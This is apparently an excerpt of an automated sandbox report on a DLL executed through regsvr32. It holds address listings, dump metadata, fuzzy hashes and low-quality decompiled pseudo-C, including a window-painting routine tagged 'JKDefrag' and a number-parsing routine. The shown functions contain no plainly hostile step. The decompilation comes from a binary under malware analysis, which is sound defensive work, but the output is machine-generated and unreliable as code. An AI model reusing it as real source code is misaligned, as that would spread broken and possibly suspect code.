                                                                                                        0x180020358
                                                                                                        0x180020368
                                                                                                        0x18002036c
                                                                                                        0x180020370
                                                                                                        0x18002037c
                                                                                                        0x180020382
                                                                                                        0x180020385
                                                                                                        0x18002038e
                                                                                                        0x180020395
                                                                                                        0x180020399
                                                                                                        0x18002039d
                                                                                                        0x1800203a1
                                                                                                        0x1800203a4
                                                                                                        0x1800203a8
                                                                                                        0x1800203b8
                                                                                                        0x1800203c5
                                                                                                        0x1800203cc
                                                                                                        0x1800203d4
                                                                                                        0x1800203dc
                                                                                                        0x1800203e1
                                                                                                        0x1800203f1
                                                                                                        0x1800203fa
                                                                                                        0x180020401
                                                                                                        0x180020404
                                                                                                        0x18002040e
                                                                                                        0x180020414
                                                                                                        0x18002041b
                                                                                                        0x180020423
                                                                                                        0x18002042a
                                                                                                        0x18002043a
                                                                                                        0x18002044b
                                                                                                        0x180020456
                                                                                                        0x18002045a
                                                                                                        0x180020460
                                                                                                        0x180020464
                                                                                                        0x180020468
                                                                                                        0x180020470
                                                                                                        0x18002047c
                                                                                                        0x180020487
                                                                                                        0x18002048a
                                                                                                        0x18002048c
                                                                                                        0x18002048c
                                                                                                        0x180020490
                                                                                                        0x18002049a
                                                                                                        0x1800204a3
                                                                                                        0x1800204ac
                                                                                                        0x1800204b0
                                                                                                        0x1800204b7
                                                                                                        0x1800204ba
                                                                                                        0x1800204c3
                                                                                                        0x1800204c7
                                                                                                        0x1800204d1
                                                                                                        0x1800204db
                                                                                                        0x1800204e3
                                                                                                        0x1800204eb
                                                                                                        0x1800204f0
                                                                                                        0x1800204f4
                                                                                                        0x1800204fb
                                                                                                        0x1800204fe
                                                                                                        0x180020508
                                                                                                        0x18002050e
                                                                                                        0x18002051e
                                                                                                        0x180020524
                                                                                                        0x18002052b
                                                                                                        0x180020533
                                                                                                        0x180020537
                                                                                                        0x18002053a
                                                                                                        0x18002054a
                                                                                                        0x18002055b
                                                                                                        0x180020566
                                                                                                        0x18002056a
                                                                                                        0x180020570
                                                                                                        0x180020578
                                                                                                        0x180020580
                                                                                                        0x180020589
                                                                                                        0x180020593
                                                                                                        0x180020598
                                                                                                        0x1800205a0
                                                                                                        0x1800205a8
                                                                                                        0x1800205ad
                                                                                                        0x1800205b6
                                                                                                        0x1800205bc
                                                                                                        0x1800205c5
                                                                                                        0x1800205c7
                                                                                                        0x1800205ca
                                                                                                        0x1800205da
                                                                                                        0x1800205dc
                                                                                                        0x1800205ec
                                                                                                        0x1800205f7
                                                                                                        0x1800205fb
                                                                                                        0x1800205fe
                                                                                                        0x180020600
                                                                                                        0x180020609
                                                                                                        0x18002060f
                                                                                                        0x18002061a
                                                                                                        0x180020620
                                                                                                        0x180020624
                                                                                                        0x18002062c
                                                                                                        0x180020630
                                                                                                        0x180020641
                                                                                                        0x180020646
                                                                                                        0x180020651
                                                                                                        0x18002065c
                                                                                                        0x180020660
                                                                                                        0x18002066f
                                                                                                        0x18002067a
                                                                                                        0x18002067c
                                                                                                        0x18002067f
                                                                                                        0x180020683
                                                                                                        0x180020685
                                                                                                        0x18002068f
                                                                                                        0x180020698
                                                                                                        0x18002069f
                                                                                                        0x1800206a7
                                                                                                        0x1800206ab
                                                                                                        0x1800206ae
                                                                                                        0x1800206be
                                                                                                        0x1800206c3
                                                                                                        0x1800206ce
                                                                                                        0x1800206da
                                                                                                        0x1800206df
                                                                                                        0x1800206ec
                                                                                                        0x1800206f1
                                                                                                        0x1800206fb
                                                                                                        0x180020700
                                                                                                        0x180020712
                                                                                                        0x180020714
                                                                                                        0x180020720
                                                                                                        0x180020725
                                                                                                        0x180020727
                                                                                                        0x180020730
                                                                                                        0x180020736
                                                                                                        0x180020744
                                                                                                        0x18002074b
                                                                                                        0x180020757
                                                                                                        0x18002075c
                                                                                                        0x18002076d
                                                                                                        0x18002076f
                                                                                                        0x18002077b
                                                                                                        0x180020786
                                                                                                        0x18002078c
                                                                                                        0x18002078f
                                                                                                        0x180020792
                                                                                                        0x180020796
                                                                                                        0x18002079c
                                                                                                        0x18002079f
                                                                                                        0x1800207a1
                                                                                                        0x1800207aa
                                                                                                        0x1800207b0
                                                                                                        0x1800207be
                                                                                                        0x1800207c0
                                                                                                        0x1800207c4
                                                                                                        0x1800207c8
                                                                                                        0x1800207ca
                                                                                                        0x1800207ce
                                                                                                        0x1800207d2
                                                                                                        0x1800207f8

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID:
                                                                                                        • API String ID: 2943138195-0
                                                                                                        • Opcode ID: a52a760521fee3e7bb7ab9b2af6ba203ad13cefbe39bf51e1b9244545363ed25
                                                                                                        • Instruction ID: 434df6a117d397ee60937e7fec68eb118f11245b89a9fb399d469fe585a960d9
                                                                                                        • Opcode Fuzzy Hash: a52a760521fee3e7bb7ab9b2af6ba203ad13cefbe39bf51e1b9244545363ed25
                                                                                                        • Instruction Fuzzy Hash: 84F16A76B05B889AF792DFA4D4903EC37B0E34878CF50C016EA4967A9ADF34C659C780
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180004708 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 84synchronizationwindowCOMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 21%
                                                                                                        			E00000001180004708(void* __edx, void* __edi, void* __ebp, void* __rcx, void* __rsi, void* __r9) {
				signed int _v24;
				void* _v104;
				void* __rbx;
				struct HDC__* _t19;
				void* _t26;
				signed long long _t49;
				signed long long _t50;
				void* _t51;
				intOrPtr _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t66;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				signed long long _t81;
				void* _t84;

				_t84 = __r9;
				_t49 =  *0x800d81f8; // 0x68308725f9ca
				_t50 = _t49 ^ _t81;
				_v24 = _t50;
				_t51 = __rcx;
				if (__edx == 2) goto 0x80004886;
				if (__edx == 5) goto 0x800047f6;
				if (__edx == 0xf) goto 0x8000476c;
				if (__edx == 0x14) goto 0x80004752;
				if (__edx == 0x113) goto 0x8000475c;
				DefWindowProcA(??, ??, ??, ??);
				goto 0x80004890;
				r8d = 0;
				InvalidateRect(??, ??, ??);
				goto 0x8000488e;
				WaitForSingleObject(??, ??);
				CreateMutexA(??, ??, ??);
				_t57 =  *0x800d9260; // 0x0
				 *(_t57 + 0x27ad58) = _t50;
				_t19 = BeginPaint(??, ??);
				_t59 =  *0x800d9260; // 0x0
				 *(_t59 + 0x27ad60) = _t50;
				_t60 =  *0x800d9260; // 0x0
				E00000001180003D78(_t19, __rcx, _t60, _t50, __rsi);
				EndPaint(??, ??);
				ReleaseMutex(??);
				goto 0x8000488e;
				WaitForSingleObject(??, ??);
				CreateMutexA(??, ??, ??);
				_t66 =  *0x800d9260; // 0x0
				 *(_t66 + 0x27ad58) = _t50;
				BeginPaint(??, ??);
				_t68 =  *0x800d9260; // 0x0
				 *(_t68 + 0x27ad60) = _t50;
				_t69 =  *0x800d9260; // 0x0
				_t26 = E00000001180005D08(_t51, _t69, _t50);
				_t70 =  *0x800d9260; // 0x0
				r8d =  *((intOrPtr*)(_t70 + 0x928b0));
				E000000011800039EC(_t26, 0, __ebp, _t51, _t70);
				_t71 =  *0x800d9260; // 0x0
				E00000001180003DE0(0, _t50, _t51, _t71, _t84);
				goto 0x800047cf;
				PostQuitMessage(??);
				return E000000011800149A0(0, 0, _v24 ^ _t81);
			}





















                                                                                                        0x180004708
                                                                                                        0x180004711
                                                                                                        0x180004718
                                                                                                        0x18000471b
                                                                                                        0x180004720
                                                                                                        0x180004726
                                                                                                        0x18000472f
                                                                                                        0x180004738
                                                                                                        0x18000473d
                                                                                                        0x180004745
                                                                                                        0x180004747
                                                                                                        0x18000474d
                                                                                                        0x18000475c
                                                                                                        0x180004761
                                                                                                        0x180004767
                                                                                                        0x18000477f
                                                                                                        0x180004790
                                                                                                        0x180004796
                                                                                                        0x1800047a2
                                                                                                        0x1800047ac
                                                                                                        0x1800047b2
                                                                                                        0x1800047bc
                                                                                                        0x1800047c3
                                                                                                        0x1800047ca
                                                                                                        0x1800047d7
                                                                                                        0x1800047eb
                                                                                                        0x1800047f1
                                                                                                        0x180004809
                                                                                                        0x18000481a
                                                                                                        0x180004820
                                                                                                        0x18000482c
                                                                                                        0x180004836
                                                                                                        0x18000483c
                                                                                                        0x180004846
                                                                                                        0x18000484d
                                                                                                        0x180004854
                                                                                                        0x180004859
                                                                                                        0x180004862
                                                                                                        0x180004869
                                                                                                        0x18000486e
                                                                                                        0x18000487c
                                                                                                        0x180004881
                                                                                                        0x180004888
                                                                                                        0x1800048a5

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: MutexPaint$BeginCreateObjectSingleWait$InvalidateMessagePostProcQuitRectReleaseWindow
                                                                                                        • String ID: JKDefrag
                                                                                                        • API String ID: 1147306222-3093310068
                                                                                                        • Opcode ID: 939948e6767d3930a4dc0f1085c85a57e546f458948bb31bf31d1fd27dc23cff
                                                                                                        • Instruction ID: 18157d0936826529799fed31d5658fdd266df0888625a48d41bf857d096ac62c
                                                                                                        • Opcode Fuzzy Hash: 939948e6767d3930a4dc0f1085c85a57e546f458948bb31bf31d1fd27dc23cff
                                                                                                        • Instruction Fuzzy Hash: F3415B71205A4C91EAA6DB26E8543AD3365F7CDBC5F54C022E90E8B664CF3DC60ED300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800271D8 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 407COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E000000011800271D8(void* __esi, intOrPtr* __rax, intOrPtr* __rcx, signed long long* __rdx, long long __r8) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r14;
				signed int _t48;
				signed int _t65;
				void* _t67;
				signed int _t76;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				void* _t121;
				intOrPtr _t122;
				void* _t132;
				void* _t133;
				void* _t135;
				void* _t137;
				signed int _t138;
				void* _t144;
				void* _t161;
				void* _t162;
				void* _t168;
				signed char* _t236;
				intOrPtr* _t238;
				signed long long _t239;
				intOrPtr* _t241;
				intOrPtr* _t243;
				intOrPtr* _t247;
				intOrPtr* _t248;
				signed long long _t251;
				char* _t252;
				intOrPtr* _t253;
				void* _t254;
				signed long long _t257;
				signed long long _t259;
				signed long long _t260;
				void* _t269;
				signed int* _t271;
				signed int* _t272;
				signed int* _t273;
				char* _t278;
				void* _t280;
				void* _t281;
				signed long long _t286;
				signed long long _t287;
				signed long long _t288;
				signed long long _t289;
				signed long long _t290;
				signed long long _t291;
				signed long long _t292;
				signed long long _t293;
				signed long long _t295;
				signed char* _t301;
				signed long long _t303;
				signed int* _t307;

				_t162 = __esi;
				 *((long long*)(_t280 + 0x18)) = __r8;
				_push(_t254);
				_push(_t269);
				_t281 = _t280 - 0x20;
				_t301 =  *__rdx;
				if (_t301 != 0) goto 0x80027211;
				E0000000118005B354(_t301, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				goto 0x8002745b;
				_t114 =  *_t301 & 0x000000ff;
				 *__rdx =  &(_t301[1]);
				 *(_t281 + 0x68) = _t114;
				sil = _t114;
				if (E0000000118002D804(_t114, 8, _t161,  &(_t301[1]), _t254, _t269, __r8, __rcx) == 0) goto 0x8002725c;
				_t236 =  *__rdx;
				_t115 =  *_t236 & 0x000000ff;
				 *__rdx =  &(_t236[1]);
				 *(_t281 + 0x68) = _t115;
				_t48 = E0000000118002D804(_t115, 8, _t161,  &(_t236[1]), _t254, _t269, __r8, __rcx);
				if (_t48 != 0) goto 0x80027236;
				sil = _t115;
				_t278 = __r8 + 0x308;
				_t168 = sil - 0x2d;
				 *_t278 = _t48 & 0xffffff00 | _t168 == 0x00000000;
				if (_t168 == 0) goto 0x80027275;
				if (sil != 0x2b) goto 0x80027287;
				_t238 =  *__rdx;
				_t116 =  *_t238;
				_t239 = _t238 + 1;
				 *__rdx = _t239;
				sil = _t116;
				 *(_t281 + 0x68) = _t116;
				if (sil == 0x49) goto 0x80027661;
				if (sil == 0x69) goto 0x80027661;
				if ((_t254 - 0x0000004e & 0x000000df) == 0) goto 0x8002764f;
				r13b = 0;
				if (_t116 != 0x30) goto 0x800272ee;
				_t257 =  *__rdx;
				_t144 =  *_t257;
				_t286 = _t257 + 1;
				 *__rdx = _t286;
				if ((__rdx - 0x00000058 & 0x000000df) == 0) goto 0x800272de;
				 *__rdx = _t257;
				if (_t144 == 0) goto 0x800272ee;
				if ( *_t257 == _t144) goto 0x800272ee;
				E0000000118005B354( *_t257 - _t144, _t239);
				 *_t239 = 0x16;
				E0000000118002594C();
				goto 0x800272ee;
				 *__rdx = _t286 + 1;
				r13b = 1;
				r9d = 0;
				_t271 =  *((intOrPtr*)(_t281 + 0x70)) + 8;
				 *(_t281 + 0x78) = _t271;
				if ( *_t286 != 0x30) goto 0x80027318;
				_t241 =  *__rdx;
				 *__rdx = _t241 + 1;
				if ( *_t241 == 0x30) goto 0x80027308;
				r11b = 0x19;
				asm("inc ebp");
				r8d = r8d & 0x00000006;
				r8d = r8d + 9;
				r10d = r10d | 0xffffffff;
				_t18 = _t254 - 0x30; // -23
				if (_t18 - 9 > 0) goto 0x8002733e;
				goto 0x80027361;
				_t19 = _t254 - 0x61; // -72
				if (_t19 - r11b > 0) goto 0x8002734e;
				goto 0x80027361;
				_t20 = _t254 - 0x41; // -40
				if (_t20 - r11b > 0) goto 0x8002735e;
				goto 0x80027361;
				_t65 = r10d;
				if (_t65 - r8d > 0) goto 0x80027382;
				if (_t271 == _t278) goto 0x80027372;
				 *_t271 = _t65;
				_t272 =  &(_t271[0]);
				_t243 =  *__rdx;
				r9d = r9d + 1;
				 *__rdx = _t243 + 1;
				goto 0x8002732f;
				_t307 =  *(_t281 + 0x78);
				 *(_t281 + 0x68) = r9d;
				if ( *_t243 !=  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *__rcx + 0xf8))))))) goto 0x8002742a;
				_t247 =  *__rdx;
				_t259 = _t247 + 1;
				 *__rdx = _t259;
				if (_t272 != _t307) goto 0x800273d2;
				if ( *_t247 != 0x30) goto 0x800273d2;
				_t121 =  *_t259;
				r9d = r9d - 1;
				_t260 = _t259 + 1;
				 *__rdx = _t260;
				if (_t121 == 0x30) goto 0x800273bb;
				 *(_t281 + 0x68) = r9d;
				_t67 = _t121;
				if (_t67 - 0x30 < 0) goto 0x800273e5;
				if (_t67 - 0x39 > 0) goto 0x800273e5;
				goto 0x80027408;
				_t26 = _t254 - 0x61; // -72
				if (_t26 - r11b > 0) goto 0x800273f5;
				goto 0x80027408;
				_t27 = _t254 - 0x41; // -40
				if (_t27 - r11b > 0) goto 0x80027405;
				goto 0x80027408;
				_t76 = r10d;
				if (_t76 - r8d > 0) goto 0x8002742a;
				if (_t272 == _t278) goto 0x80027419;
				 *_t272 = _t76;
				_t273 =  &(_t272[0]);
				_t248 =  *__rdx;
				_t122 =  *_t248;
				 *__rdx = _t248 + 1;
				goto 0x800273d4;
				_t251 =  *__rdx - 1;
				 *__rdx = _t251;
				if (1 != 0) goto 0x80027465;
				if (_t122 == 0) goto 0x8002744f;
				if ( *_t251 == _t122) goto 0x8002744f;
				E0000000118005B354( *_t251 - _t122, _t251);
				 *_t251 = 0x16;
				E0000000118002594C();
				 *__rdx = _t257;
				if (r13b != 0) goto 0x800275ff;
				goto 0x80027671;
				if (_t122 == 0) goto 0x80027480;
				if ( *_t251 == _t122) goto 0x80027480;
				E0000000118005B354( *_t251 - _t122, _t251);
				 *_t251 = 0x16;
				E0000000118002594C();
				r11b = 0x19;
				_t303 =  *__rdx;
				_t132 =  *_t303;
				_t287 = _t303 + 1;
				 *__rdx = _t287;
				if (_t132 == 0x45) goto 0x800274a8;
				if (_t132 == 0x50) goto 0x800274a3;
				if (_t132 == 0x65) goto 0x800274a8;
				if (_t132 != 0x70) goto 0x800274ad;
				goto 0x800274ad;
				if ((r13b ^ 0x00000001) == 0) goto 0x800275c5;
				_t133 =  *_t287;
				_t288 = _t287 + 1;
				 *__rdx = _t288;
				r10b = _t133;
				if (_t133 == 0x2b) goto 0x800274d6;
				if (_t133 != 0x2d) goto 0x800274e3;
				_t289 = _t288 + 1;
				 *__rdx = _t289;
				r9b = 0;
				if ( *_t288 != 0x30) goto 0x80027501;
				r9b = 1;
				_t135 =  *_t289;
				_t290 = _t289 + 1;
				 *__rdx = _t290;
				if (_t135 == 0x30) goto 0x800274ed;
				if (_t135 - 0x30 < 0) goto 0x80027510;
				if (_t135 - 0x39 > 0) goto 0x80027510;
				goto 0x8002752e;
				if (_t260 - 0x61 - r11b > 0) goto 0x80027520;
				goto 0x8002752e;
				if (_t260 - 0x41 - r11b > 0) goto 0x80027552;
				if (_t135 - 0x37 - 0xa >= 0) goto 0x80027552;
				r9b = 1;
				if (__rdx + _t251 * 2 - 0x1450 > 0) goto 0x8002754d;
				_t291 = _t290 + 1;
				 *__rdx = _t291;
				goto 0x800274fd;
				if (_t260 - 0x30 - 9 > 0) goto 0x80027561;
				goto 0x8002757f;
				if (_t260 - 0x61 - r11b > 0) goto 0x80027571;
				goto 0x8002757f;
				if (_t260 - 0x41 - r11b > 0) goto 0x8002758f;
				if ( *_t290 - 0x37 - 0xa >= 0) goto 0x8002758f;
				_t137 =  *_t291;
				_t292 = _t291 + 1;
				 *__rdx = _t292;
				goto 0x80027552;
				if (r10b != 0x2d) goto 0x80027597;
				if (r9b != 0) goto 0x800275c5;
				_t293 = _t292 - 1;
				 *__rdx = _t293;
				if (_t137 == 0) goto 0x800275bb;
				if ( *_t293 == _t137) goto 0x800275bb;
				E0000000118005B354( *_t293 - _t137, _t251);
				 *_t251 = 0x16;
				E0000000118002594C();
				 *__rdx = _t303;
				_t138 =  *_t303;
				_t295 = _t303 + 1 - 1;
				 *__rdx = _t295;
				if (_t138 == 0) goto 0x800275e4;
				if ( *_t295 == _t138) goto 0x800275e4;
				E0000000118005B354( *_t295 - _t138, _t251);
				 *_t251 = 0x16;
				E0000000118002594C();
				if (_t273 == _t307) goto 0x800275ff;
				_t252 = _t273 - 1;
				if ( *_t252 != 0) goto 0x800275fa;
				if (_t252 != _t307) goto 0x800275e9;
				if (_t252 != _t307) goto 0x80027606;
				goto 0x80027671;
				if (0x1451 - 0x1450 > 0) goto 0x80027648;
				if (0x1451 - 0xffffebb0 < 0) goto 0x80027641;
				asm("sbb ecx, ecx");
				if (0x1451 - 0x1450 > 0) goto 0x80027648;
				if (0x1451 - 0xffffebb0 < 0) goto 0x80027641;
				_t253 =  *((intOrPtr*)(_t281 + 0x70));
				 *_t253 =  ~0x1451 + ((_t138 & 0x00000003) + 1) *  *(_t281 + 0x68);
				 *((intOrPtr*)(_t253 + 4)) = _t162 - r15d;
				goto 0x80027671;
				goto 0x80027671;
				goto 0x80027671;
				E000000011800286FC(_t254, _t281 + 0x68, __rdx, __rdx, _t252, _t303);
				goto 0x80027671;
				return E0000000118002844C(_t254, _t281 + 0x68, __rdx, _t252, _t303, _t303);
			}



























































                                                                                                        0x1800271d8
                                                                                                        0x1800271d8
                                                                                                        0x1800271dd
                                                                                                        0x1800271df
                                                                                                        0x1800271e7
                                                                                                        0x1800271eb
                                                                                                        0x1800271fa
                                                                                                        0x1800271fc
                                                                                                        0x180027201
                                                                                                        0x180027207
                                                                                                        0x18002720c
                                                                                                        0x180027211
                                                                                                        0x180027219
                                                                                                        0x180027223
                                                                                                        0x18002722a
                                                                                                        0x180027234
                                                                                                        0x180027236
                                                                                                        0x180027241
                                                                                                        0x180027249
                                                                                                        0x18002724c
                                                                                                        0x180027250
                                                                                                        0x180027257
                                                                                                        0x180027259
                                                                                                        0x18002725c
                                                                                                        0x180027263
                                                                                                        0x18002726a
                                                                                                        0x18002726d
                                                                                                        0x180027273
                                                                                                        0x180027275
                                                                                                        0x180027278
                                                                                                        0x18002727a
                                                                                                        0x18002727d
                                                                                                        0x180027280
                                                                                                        0x180027283
                                                                                                        0x18002728b
                                                                                                        0x180027295
                                                                                                        0x1800272a0
                                                                                                        0x1800272a6
                                                                                                        0x1800272ac
                                                                                                        0x1800272ae
                                                                                                        0x1800272b1
                                                                                                        0x1800272b3
                                                                                                        0x1800272b7
                                                                                                        0x1800272bf
                                                                                                        0x1800272c1
                                                                                                        0x1800272c6
                                                                                                        0x1800272ca
                                                                                                        0x1800272cc
                                                                                                        0x1800272d1
                                                                                                        0x1800272d7
                                                                                                        0x1800272dc
                                                                                                        0x1800272e5
                                                                                                        0x1800272e8
                                                                                                        0x1800272f3
                                                                                                        0x1800272f6
                                                                                                        0x1800272fc
                                                                                                        0x180027304
                                                                                                        0x180027308
                                                                                                        0x180027310
                                                                                                        0x180027316
                                                                                                        0x18002731b
                                                                                                        0x180027320
                                                                                                        0x180027323
                                                                                                        0x180027327
                                                                                                        0x18002732b
                                                                                                        0x18002732f
                                                                                                        0x180027334
                                                                                                        0x18002733c
                                                                                                        0x18002733e
                                                                                                        0x180027344
                                                                                                        0x18002734c
                                                                                                        0x18002734e
                                                                                                        0x180027354
                                                                                                        0x18002735c
                                                                                                        0x18002735e
                                                                                                        0x180027364
                                                                                                        0x18002736b
                                                                                                        0x18002736d
                                                                                                        0x18002736f
                                                                                                        0x180027372
                                                                                                        0x180027375
                                                                                                        0x18002737d
                                                                                                        0x180027380
                                                                                                        0x180027385
                                                                                                        0x18002738a
                                                                                                        0x18002739b
                                                                                                        0x1800273a1
                                                                                                        0x1800273a6
                                                                                                        0x1800273aa
                                                                                                        0x1800273b2
                                                                                                        0x1800273b7
                                                                                                        0x1800273bb
                                                                                                        0x1800273bd
                                                                                                        0x1800273c0
                                                                                                        0x1800273c3
                                                                                                        0x1800273c9
                                                                                                        0x1800273cb
                                                                                                        0x1800273d0
                                                                                                        0x1800273d6
                                                                                                        0x1800273db
                                                                                                        0x1800273e3
                                                                                                        0x1800273e5
                                                                                                        0x1800273eb
                                                                                                        0x1800273f3
                                                                                                        0x1800273f5
                                                                                                        0x1800273fb
                                                                                                        0x180027403
                                                                                                        0x180027405
                                                                                                        0x18002740b
                                                                                                        0x180027412
                                                                                                        0x180027414
                                                                                                        0x180027416
                                                                                                        0x180027419
                                                                                                        0x18002741c
                                                                                                        0x180027421
                                                                                                        0x180027428
                                                                                                        0x18002742d
                                                                                                        0x180027430
                                                                                                        0x180027435
                                                                                                        0x180027439
                                                                                                        0x18002743d
                                                                                                        0x18002743f
                                                                                                        0x180027444
                                                                                                        0x18002744a
                                                                                                        0x18002744f
                                                                                                        0x180027455
                                                                                                        0x180027460
                                                                                                        0x180027467
                                                                                                        0x18002746b
                                                                                                        0x18002746d
                                                                                                        0x180027472
                                                                                                        0x180027478
                                                                                                        0x18002747d
                                                                                                        0x180027480
                                                                                                        0x180027485
                                                                                                        0x180027488
                                                                                                        0x18002748c
                                                                                                        0x180027492
                                                                                                        0x180027497
                                                                                                        0x18002749c
                                                                                                        0x1800274a1
                                                                                                        0x1800274a6
                                                                                                        0x1800274b6
                                                                                                        0x1800274bc
                                                                                                        0x1800274bf
                                                                                                        0x1800274c2
                                                                                                        0x1800274c5
                                                                                                        0x1800274cb
                                                                                                        0x1800274d4
                                                                                                        0x1800274d9
                                                                                                        0x1800274dc
                                                                                                        0x1800274e3
                                                                                                        0x1800274e8
                                                                                                        0x1800274ea
                                                                                                        0x1800274ed
                                                                                                        0x1800274f0
                                                                                                        0x1800274f3
                                                                                                        0x1800274fb
                                                                                                        0x180027501
                                                                                                        0x180027506
                                                                                                        0x18002750e
                                                                                                        0x180027516
                                                                                                        0x18002751e
                                                                                                        0x180027526
                                                                                                        0x180027531
                                                                                                        0x180027536
                                                                                                        0x18002753e
                                                                                                        0x180027543
                                                                                                        0x180027546
                                                                                                        0x18002754b
                                                                                                        0x180027557
                                                                                                        0x18002755f
                                                                                                        0x180027567
                                                                                                        0x18002756f
                                                                                                        0x180027577
                                                                                                        0x180027582
                                                                                                        0x180027584
                                                                                                        0x180027587
                                                                                                        0x18002758a
                                                                                                        0x18002758d
                                                                                                        0x180027593
                                                                                                        0x18002759a
                                                                                                        0x18002759c
                                                                                                        0x18002759f
                                                                                                        0x1800275a4
                                                                                                        0x1800275a9
                                                                                                        0x1800275ab
                                                                                                        0x1800275b0
                                                                                                        0x1800275b6
                                                                                                        0x1800275bb
                                                                                                        0x1800275c2
                                                                                                        0x1800275c5
                                                                                                        0x1800275c8
                                                                                                        0x1800275cd
                                                                                                        0x1800275d2
                                                                                                        0x1800275d4
                                                                                                        0x1800275d9
                                                                                                        0x1800275df
                                                                                                        0x1800275e7
                                                                                                        0x1800275e9
                                                                                                        0x1800275f0
                                                                                                        0x1800275f8
                                                                                                        0x1800275fd
                                                                                                        0x180027604
                                                                                                        0x180027608
                                                                                                        0x180027611
                                                                                                        0x180027618
                                                                                                        0x180027628
                                                                                                        0x18002762c
                                                                                                        0x18002762e
                                                                                                        0x180027636
                                                                                                        0x180027638
                                                                                                        0x18002763f
                                                                                                        0x180027646
                                                                                                        0x18002764d
                                                                                                        0x18002765a
                                                                                                        0x18002765f
                                                                                                        0x18002767f

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID: 0$0$0
                                                                                                        • API String ID: 3215553584-3137946472
                                                                                                        • Opcode ID: ce2a26ec0ff9da175f01b95f8e2c80522a8179477fa369c1b4bfc2285f18e3e6
                                                                                                        • Instruction ID: e201ffe6f781de747296647417271d1998710e1345be2f1e1825ce253b7824ea
                                                                                                        • Opcode Fuzzy Hash: ce2a26ec0ff9da175f01b95f8e2c80522a8179477fa369c1b4bfc2285f18e3e6
                                                                                                        • Instruction Fuzzy Hash: DFE1C332705A9D89F7A79F2880903ED6B96E35A7C4F54C012EA8C47797CF398A5E9301
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001E1C0 Relevance: 15.2, APIs: 10, Instructions: 150COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 76%
                                                                                                        			E0000000118001E1C0(void* __ecx, void* __edx, void* __edi, long long __rbx, long long* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				void* _v24;
				char _v40;
				char _v56;
				char _v72;
				intOrPtr _v80;
				char _v88;
				intOrPtr _v96;
				char _v104;
				char _v112;
				char _v120;
				void* __r14;
				void* __r15;
				void* _t66;
				void* _t88;
				void* _t90;
				void* _t98;
				intOrPtr* _t106;
				intOrPtr* _t108;
				intOrPtr* _t146;
				intOrPtr* _t155;
				long long* _t158;
				void* _t169;
				void* _t170;
				void* _t172;
				long long _t173;

				_t112 = __rbx;
				_t90 = __edx;
				_t88 = __ecx;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t106 =  *0x800d9928; // 0x0
				r15d = 0;
				_t155 = __rdx;
				_t158 = __rcx;
				if ( *_t106 == r15b) goto 0x8001e33b;
				_t66 = E00000001180020ABC(__rdx);
				r14d = _t66;
				_t98 = _t66;
				if (_t98 < 0) goto 0x8001e3a7;
				if (_t98 == 0) goto 0x8001e3a7;
				_v120 = _t173;
				_v112 = r15d;
				if (( *(__rdx + 8) & 0x00000800) == 0) goto 0x8001e248;
